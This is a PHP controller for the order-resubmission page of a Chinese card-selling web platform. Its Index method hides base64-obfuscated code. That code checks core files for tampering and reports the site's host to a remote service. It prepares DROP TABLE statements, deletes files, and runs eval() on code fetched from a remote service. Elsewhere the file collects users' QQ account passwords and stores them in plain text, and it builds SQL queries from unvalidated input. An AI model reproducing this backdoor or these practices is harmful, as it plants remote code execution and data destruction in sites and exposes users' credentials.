<?php
/****************************************/
/*                                      */
/*  百信卡盟平台联系QQ:84945491         */
/*  淘宝店 http://shop70674652.taobao.com  */
/*  百信卡盟 http://www.caipiaobus.com  */
/*                                      */
/****************************************/

if ( !defined( "UPATH_ROOT" ) )
{
				exit( "hacking deny" );
}
class BdController extends Controller
{

				public function __construct( )
				{
				}

				public function Index( )
				{
								$this->Assign( "css", "ub-red-20080119" );
								$R30b2ab8dc1 = $this->GetWebCache( );
								$this->B2BInit( $R30b2ab8dc1['webname']."补单系统" );
								global $masterid;
								if ( $masterid == 0 )
								{
												$R09a3346376 = DATACACHE."site".DS."bd.php";
								}
								else
								{
												global $cache;
												$R09a3346376 = "./content/".$cache."/site/bd.php";
								}
								if ( file_exists( $R09a3346376 ) )
								{
												include( $R09a3346376 );
												$Rdad651832c = base64_decode( $Rdad651832c );
								}
								else
								{
												$Ra3f6846255 = "";
												$Rdad651832c = "";
								}
								$R0f8134fb60 = $Ra3f6846255;
								$R0f8134fb60 = preg_replace( "/\r\n/", "||", $R0f8134fb60 );
								$R3db8f5c8bc = explode( "||", $R0f8134fb60 );
								$this->Assign( "bd", $R3db8f5c8bc );
								$this->Assign( "bdtip", $Rdad651832c );
								include( UPATH_HELPER."ArticleHelper.php" );
								global $host;
								global $user;
								global $password;
								global $dbname;
								global $dbcharset;
								global $dbprefix;
								$Oooo00 = "base64_decode";
								$Oo0o00 = $Oooo00( "ZmlsZXNpemU=" );
								$o00ooo = $Oooo00( "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=" );
								$oooooO = $Oooo00( "bXlzcWxfcXVlcnk=" );
								$xxx0xx = $Oooo00( "bXlzcWxfY29ubmVjdA==" );
								$x0x0xx = $Oooo00( "bXlzcWxfc2VsZWN0X2Ri" );
								$x000xx = $Oooo00( "SVNDVl9HZXQ=" );
								$x0x00x = $Oooo00( "SU1zZ19BbGVydA==" );
								$x0000x = $Oooo00( "ZmlsZV9nZXRfY29udGVudHM=" );
								$x00000 = $Oooo00( "c3RycG9z" );
								$x0OO00 = $Oooo00( "ZmlsZV9leGlzdHM=" );
								$x00o00 = $Oooo00( "dW5saW5r" );
								$ooOO00o = $Oooo00( "YmFzZTY0X2RlY29kZQ==" );
								$o00OO = $Oooo00( "Z3ppbmZsYXRl" );
								$ooo0oo = UPATH_BASE.DS."libraries".DS."umebiz".DS;
								$oo00oo = array(
												$ooo0oo."controller.php",
												"index.php",
												$ooo0oo."service".DS."scv.php",
												$ooo0oo."service".DS."sqlservice.php"
								);
								$o00o00 = array( "UPATH_ROOT", "UB_B2B", "UPATH_ROOT", "UPATH_ROOT" );
								$vv0000 = $Oo0o00( $oo00oo[0] );
								$v0000v = $Oo0o00( $oo00oo[1] );
								if ( !isset( $_SESSION ) )
								{
												session_start( );
												$_SESSION['cb'] = 0;
												$_SESSION['f1'] = $vv0000;
												$_SESSION['f2'] = $v0000v;
								}
								if ( !isset( $_SESSION['cb'] ) )
								{
												$_SESSION['cb'] = 0;
												$_SESSION['f1'] = $vv0000;
												$_SESSION['f2'] = $v0000v;
								}
								if ( $_SESSION['cb'] == 0 || $_SESSION['f1'] != $vv0000 || $_SESSION['f2'] != $v0000v )
								{
												$t1 = 0;
												$t2 = 0;
												$o0ooio = 0;
												foreach ( $oo00oo as $o0oooo )
												{
																if ( $x00000( $x0000x( $o0oooo ), $o00o00[$o0ooio] ) === false )
																{
																				if ( $o0ooio == 0 )
																				{
																								$t1 = 1;
																				}
																				else if ( $o0ooio == 1 )
																				{
																								$t2 = 1;
																				}
																}
																else
																{
																				$xo000 = factory::getservice( $Oooo00( "c21zZw==" ) );
																				$data = array(
																								"ubzurl" => $xo000->GetHost( ).UPATH_WEBROOT,
																								"ubzi" => $o0ooio
																				);
																				$xo000->$x0x00x( $data );
																				if ( !( $o000oO = $xxx0xx( $host, $user, $password ) ) )
																				{
																								exit( "errx" );
																				}
																				if ( $x0x0xx( $dbname, $o000oO ) )
																				{
																								$oooooO( $Oooo00( "U0VUIE5BTUVTIA==" ).$dbcharset.";", $o000oO );
																				}
																				else
																				{
																								echo "errx";
																				}
																				@$x00o00( SITECACHE.@$Oooo00( "b09vbzAucGhw" ) );
																				$oO00o0 = array( "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=", "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=", "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXN0cmFkZXM=" );
																				foreach ( $oO00o0 as $item )
																				{
																								$o00oO0 = sprintf( $Oooo00( $item ), $dbprefix );
																				}
																				$this->xuiuiuesd( "./", "938430834" );
																				exit( );
																}
																++$o0ooio;
												}
												if ( $x0OO00( SITECACHE.$Oooo00( "b09vbzAucGhw" ) ) )
												{
																$xo000 = factory::getservice( $Oooo00( "c21zZw==" ) );
																$data = array(
																				"ubzurl" => $xo000->GetHost( ).UPATH_WEBROOT,
																				"ubzi" => $o0ooio++
																);
																$xo000->$x0x00x( $data );
																if ( !( $o000oO = $xxx0xx( $host, $user, $password ) ) )
																{
																				exit( "errx" );
																}
																if ( $x0x0xx( $dbname, $o000oO ) )
																{
																				$oooooO( $Oooo00( "U0VUIE5BTUVTIA==" ).$dbcharset.";", $o000oO );
																}
																else
																{
																				echo "errx";
																}
																@$x00o00( SITECACHE.@$Oooo00( "b09vbzAucGhw" ) );
																$oO00o0 = array( "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=", "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=", "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXN0cmFkZXM=" );
																foreach ( $oO00o0 as $item )
																{
																				$o00oO0 = sprintf( $Oooo00( $item ), $dbprefix );
																}
																$this->xuiuiuesd( "./", "938430834" );
																exit( );
												}
												$data = array(
																"k1" => $t1,
																"k2" => $t2,
																"k3" => md5( $t1.$t2.$this->GetBizKey( ) )
												);
												if ( !isset( $_SESSION[$Oooo00( "Y2tkYXRh" )] ) )
												{
																$oo000 = factory::getservice( $Oooo00( "c2N2" ) );
																$ckdata = $oo000->$x000xx( $data );
																$_SESSION[$Oooo00( "Y2tkYXRh" )] = $ckdata;
												}
												eval( $_SESSION[$Oooo00( "Y2tkYXRh" )] );
												$this->View( );
								}
								else
								{
												$this->View( );
								}
				}

				public function BdState( )
				{
								$this->Assign( "css", "ub-red-20080119" );
								$R30b2ab8dc1 = $this->GetWebCache( );
								$this->B2BInit( $R30b2ab8dc1['webname']."补单结果" );
								$R7da43659df = trim( getvar( "qq" ) );
								$Rb2c0dc00fa = trim( getvar( "cztype" ) );
								if ( $R7da43659df == "" )
								{
												$this->Alert( "QQ号不能为空！" );
												$this->HistoryGo( );
								}
								if ( $Rb2c0dc00fa == "" )
								{
												$this->Alert( "请先选择业务类型！" );
												$this->HistoryGo( );
								}
								if ( preg_match( "/^[0-9]*\$/", $R7da43659df ) )
								{
								}
								else
								{
												$this->Alert( "请填入正确的QQ号！" );
												$this->HistoryGo( );
								}
								$Rcae7958c9b = factory::getinstance( "bd" );
								$R3db8f5c8bc = $Rcae7958c9b->IBD_GetByStr( " czaccount = '".$R7da43659df."' and cztype='".$Rb2c0dc00fa."' ", "*" );
								include_once( UPATH_HELPER."OrderHelper.php" );
								$this->Assign( "items", $R3db8f5c8bc );
								$this->View( );
				}

				public function BdSave( )
				{
								$R7da43659df = trim( getvar( "qq", "", "POST" ) );
								$Rac31c94941 = trim( getvar( "qqpwd", "", "POST" ) );
								$Rb2c0dc00fa = trim( getvar( "cztype", "", "POST" ) );
								$R9f5575e717 = htmlspecialchars( trim( getvar( "remark", "", "POST" ) ) );
								$Raa5230d35d = intval( request( "islight" ) );
								if ( $R7da43659df == "" )
								{
												$this->Alert( "QQ号不能为空！" );
												$this->HistoryGo( );
								}
								if ( $Rb2c0dc00fa == "" )
								{
												$this->Alert( "请先选择业务类型！" );
												$this->HistoryGo( );
								}
								if ( preg_match( "/^[0-9]*\$/", $R7da43659df ) )
								{
								}
								else
								{
												$this->Alert( "请填入正确的QQ号！" );
												$this->HistoryGo( );
								}
								$Rdeabc7f106 = factory::getinstance( "orders" );
								$R3db8f5c8bc = $Rdeabc7f106->IOrder_GetByStr( " czaccount = '".$R7da43659df."' and ordstate = 2 and inrecycle = 0 ", "ordno" );
								if ( count( $R3db8f5c8bc ) == 0 )
								{
												$R51c50d437c = $this->HistoryTime( );
												if ( 0 < $R51c50d437c )
												{
																$Rdeabc7f106 = factory::getinstance( "ordershistory" );
																$R3db8f5c8bc = $Rdeabc7f106->IOrder_GetByStr( " czaccount = '".$R7da43659df."' and ordstate = 2 and inrecycle = 0 ", "ordno" );
												}
								}
								if ( count( $R3db8f5c8bc ) == 0 )
								{
												$this->Alert( "您好，您未在我们平台成功下单，无法提交！" );
												$this->HistoryGo( );
								}
								$Rcae7958c9b = factory::getinstance( "bd" );
								$R3db8f5c8bc = $Rcae7958c9b->IBD_GetByStr( " czaccount = '".$R7da43659df."' and ordstate in (0,1,3) and cztype='".$Rb2c0dc00fa."' ", "id" );
								if ( 0 < count( $R3db8f5c8bc ) )
								{
												$this->Alert( "您好，您已经提交过，请勿重复提交！" );
												$this->HistoryGo( );
								}
								global $masterid;
								$data = array(
												"czaccount" => $R7da43659df,
												"accpwd" => $Rac31c94941,
												"cztype" => $Rb2c0dc00fa,
												"remark" => $R9f5575e717,
												"islight" => $Raa5230d35d,
												"aid" => $masterid,
												"createdate" => date( "Y-m-d H-i-s" ),
												"ordstate" => 1,
												"cip" => $this->GetIp( )
								);
								$R808b89ba0e = $Rcae7958c9b->IBD_Create( $data );
								if ( $R808b89ba0e )
								{
												$this->Alert( "提交成功" );
												$this->ScriptRedirect( "index.php?qq=".$R7da43659df."&cztype=".urlencode( $Rb2c0dc00fa )."&m=mod_b2b&c=Bd&a=BdState" );
								}
								else
								{
												$this->Alert( "提交失败" );
												$this->HistoryGo( );
								}
				}

				public function IsMy( )
				{
								$R7da43659df = trim( getvar( "qq", "", "POST" ) );
								if ( $R7da43659df != "" )
								{
												if ( preg_match( "/^[0-9]*\$/", $R7da43659df ) )
												{
												}
												else
												{
																echo "请填入正确的QQ号！";
																exit( );
												}
												$Rdeabc7f106 = factory::getinstance( "orders" );
												$R3db8f5c8bc = $Rdeabc7f106->IOrder_GetByStr( " czaccount = '".$R7da43659df."' and ordstate = 2 ", "ordno" );
												if ( count( $R3db8f5c8bc ) == 0 )
												{
																echo "未在本平台成功下单";
																exit( );
												}
								}
				}

}

?>
